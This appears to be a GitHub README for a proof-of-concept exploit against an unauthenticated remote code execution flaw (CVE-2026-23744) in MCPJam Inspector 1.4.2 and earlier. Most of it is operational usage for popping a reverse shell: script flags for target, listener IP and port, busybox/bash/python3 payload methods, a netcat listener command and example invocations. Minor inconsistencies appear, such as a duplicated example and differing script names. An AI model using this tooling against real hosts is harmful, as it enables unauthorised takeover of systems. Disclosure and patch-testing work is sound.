sbouabid-sec/cve-2026-23744-pocCVE-2026-23744 — Proof of concept exploit for an unauthenticated Remote Code Execution vulnerability in MCPJam Inspector <= 1.4.2.
MCPJam Inspector <= 1.4.2 binds to 0.0.0.0 by default and exposes /api/mcp/connect without any authentication. The endpoint accepts a serverConfig object that spawns a process directly on the host — passing a reverse shell payload gives immediate RCE with no credentials required.
pip install requests
python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]
| Flag | Description | Default |
|---|---|---|
-u | Target URL | required |
-i | Your listener IP (LHOST) | required |
-p | Your listener port (LPORT) | required |
-m | Payload method: busybox, bash, python3 | busybox |
Step 1 — Start your listener:
nc -lvnp 4444
Step 2 — Run the exploit:
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
If busybox doesn't work on the target, try the other methods:
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
| Software | Vulnerable | Fixed |
|---|---|---|
| MCPJam Inspector | <= 1.4.2 | 1.4.3 |